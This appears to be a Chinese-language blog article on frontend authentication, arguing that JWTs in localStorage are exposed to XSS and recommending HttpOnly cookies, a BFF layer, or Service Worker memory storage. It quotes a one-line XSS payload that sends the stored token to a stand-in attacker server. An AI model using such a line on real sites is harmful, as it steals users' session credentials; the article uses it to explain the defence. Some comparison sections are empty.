簡(jiǎn)單、直接、有效。多年來，將 JWT 存儲(chǔ)在 localStorage 中似乎是前后端分離架構(gòu)下的"標(biāo)準(zhǔn)答案"。但隨著網(wǎng)絡(luò)安全威脅的不斷演進(jìn)，這個(gè)曾經(jīng)的"最佳實(shí)踐"如今已成為巨大的安全隱患。
2025 年即將到來，前端生態(tài)日新月異。如果我們?nèi)栽谘赜门f的鑒權(quán)模式，無異于將精心構(gòu)建的應(yīng)用暴露在風(fēng)險(xiǎn)之中。是時(shí)候更新我們的知識(shí)庫，擁抱更安全的鑒權(quán)新思路了。
localStorage 的安全隱患：為何它不再適用？
localStorage 的核心問題在于其對(duì) XSS 攻擊的脆弱性。
XSS 攻擊原理
XSS 攻擊是指攻擊者在我們的網(wǎng)站上注入并執(zhí)行惡意 JavaScript 腳本。注入途徑多樣，可能是用戶渲染的惡意評(píng)論，也可能是包含惡意代碼的 URL 參數(shù)。
XSS 如何竊取 localStorage 中的 Token
一旦惡意腳本在頁面上成功執(zhí)行，它就擁有了與我們前端代碼幾乎相同的權(quán)限。攻擊者只需一行簡(jiǎn)單代碼，就能將存儲(chǔ)的 JWT 發(fā)送到自己的服務(wù)器：
// 惡意腳本示例
fetch('https://attacker-server.com/steal?token=' + localStorage.getItem('token'));
Token 一旦被盜，攻擊者就能冒充用戶身份，訪問所有依賴該 Token 的后端接口，造成毀滅性后果。
結(jié)論：localStorage 本質(zhì)上是對(duì) JavaScript 完全開放的沙盒。任何能在我們頁面上執(zhí)行的腳本都能讀寫其中所有數(shù)據(jù)。將敏感的用戶身份憑證存放在此，就像把家門鑰匙掛在門外的釘子上——方便了自己，也方便了小偷。
傳統(tǒng)解決方案：HttpOnly Cookie 的利與弊
優(yōu)勢(shì)
挑戰(zhàn)：CSRF 攻擊
HttpOnly Cookie 帶來了新的安全挑戰(zhàn)——CSRF 攻擊。
CSRF 攻擊指攻擊者誘導(dǎo)已登錄用戶從惡意網(wǎng)站發(fā)起非本意的請(qǐng)求。例如，用戶登錄了 bank.com 后訪問 evil.com，該網(wǎng)站上的自動(dòng)提交表單會(huì)向 bank.com 的轉(zhuǎn)賬接口發(fā)起請(qǐng)求，瀏覽器自動(dòng)攜帶 Cookie 完成轉(zhuǎn)賬。
解決方案
SameSite 屬性：將 Cookie 的 SameSite 屬性設(shè)置為 Strict 或 Lax，有效阻止跨站請(qǐng)求攜帶 Cookie
CSRF Token：服務(wù)器生成隨機(jī) CSRF Token，前端在狀態(tài)變更請(qǐng)求中攜帶，服務(wù)器進(jìn)行驗(yàn)證
HttpOnly Cookie 方案雖然可行，但要求后端進(jìn)行精細(xì)的 Cookie 配置和 CSRF 防御，對(duì)于現(xiàn)代前后端分離、特別是跨域調(diào)用場(chǎng)景，配置復(fù)雜度較高。
2025 年前端鑒權(quán)新思路
有沒有既能有效防范 XSS，又能優(yōu)雅適應(yīng)現(xiàn)代前端架構(gòu)的方案？以下是兩種值得在 2025 年及以后重點(diǎn)關(guān)注的鑒權(quán)模式。
方案一：BFF + Cookie 模式
BFF 模式在前端應(yīng)用和后端微服務(wù)之間增加"服務(wù)于前端的后端"層，專門負(fù)責(zé)鑒權(quán)、API 聚合和數(shù)據(jù)轉(zhuǎn)換。
鑒權(quán)流程
登錄：前端將用戶名密碼發(fā)送給 BFF
認(rèn)證與換取：BFF 將憑證發(fā)送給認(rèn)證服務(wù)，獲取 JWT
設(shè)置安全 Cookie：BFF 創(chuàng)建會(huì)話，將 Session ID 存儲(chǔ)在安全的 HttpOnly、SameSite=Strict Cookie 中返回給瀏覽器
API 請(qǐng)求：前端向 BFF 發(fā)起所有 API 請(qǐng)求，瀏覽器自動(dòng)攜帶 Session Cookie
代理與鑒權(quán)：BFF 通過 Session Cookie 找到對(duì)應(yīng)會(huì)話和 JWT，將 JWT 添加到請(qǐng)求頭中轉(zhuǎn)發(fā)給后端微服務(wù)
優(yōu)勢(shì)
極致安全：JWT 完全不暴露給前端，XSS 攻擊者無從竊取
前端無感：前端開發(fā)者無需關(guān)心 Token 的存儲(chǔ)、刷新和攜帶
架構(gòu)清晰：BFF 層處理所有安全和服務(wù)通信復(fù)雜邏輯，前端專注 UI
缺點(diǎn)
方案二：Service Worker + 內(nèi)存存儲(chǔ)
這是更"激進(jìn)"的純前端方案，利用 Service Worker 的強(qiáng)大能力。
鑒權(quán)流程
登錄：主線程登錄成功后，通過 postMessage 將 JWT 發(fā)送給激活的 Service Worker
內(nèi)存存儲(chǔ)：Service Worker 將 Token 存儲(chǔ)在自身作用域內(nèi)的變量中（內(nèi)存中），不使用 localStorage 或 IndexedDB
攔截請(qǐng)求：前端應(yīng)用發(fā)起 API 請(qǐng)求，但不添加 Authorization 頭
注入 Token：Service Worker 監(jiān)聽 fetch 事件，攔截所有出站 API 請(qǐng)求，克隆原始請(qǐng)求并將內(nèi)存中的 Token 添加到新請(qǐng)求的 Authorization 頭中
發(fā)送請(qǐng)求：Service Worker 將帶有 Token 的新請(qǐng)求發(fā)送到網(wǎng)絡(luò)
優(yōu)勢(shì)
有效隔離：Token 存儲(chǔ)在 Service Worker 的獨(dú)立運(yùn)行環(huán)境中，與主線程的 window 對(duì)象隔離，常規(guī) XSS 腳本無法訪問
邏輯集中：Token 刷新邏輯可封裝在 Service Worker 中，對(duì)應(yīng)用代碼完全透明
無需額外服務(wù)：相比 BFF，這是純前端解決方案
缺點(diǎn)
方案對(duì)比
總結(jié)與建議
將 JWT 存儲(chǔ)在 localStorage 的時(shí)代正在過去。這不是危言聳聽，而是對(duì)日益嚴(yán)峻的網(wǎng)絡(luò)安全形勢(shì)的積極響應(yīng)。
對(duì)于新項(xiàng)目或有重構(gòu)計(jì)劃的項(xiàng)目，強(qiáng)烈建議采用 BFF + Cookie 模式。雖然增加了架構(gòu)成本，但換來的是頂級(jí)的安全性和清晰的職責(zé)劃分，從長(zhǎng)遠(yuǎn)看是值得的投資。
對(duì)于追求極致前端技術(shù)或構(gòu)建 PWA 的團(tuán)隊(duì)，Service Worker 方案提供了充滿想象力的選擇，能夠?qū)踩吔缈刂圃谇岸藘?nèi)部。
?如果應(yīng)用規(guī)模較小且暫時(shí)無法引入 BFF，HttpOnly Cookie 配合嚴(yán)格的 SameSite 策略和 CSRF Token，依然是比 localStorage 安全得多的可靠選擇。
安全不是可選項(xiàng)，而是必選項(xiàng)。在 2025 年即將到來之際，讓我們共同構(gòu)建更安全、更健壯的前端應(yīng)用。
400 186 1886
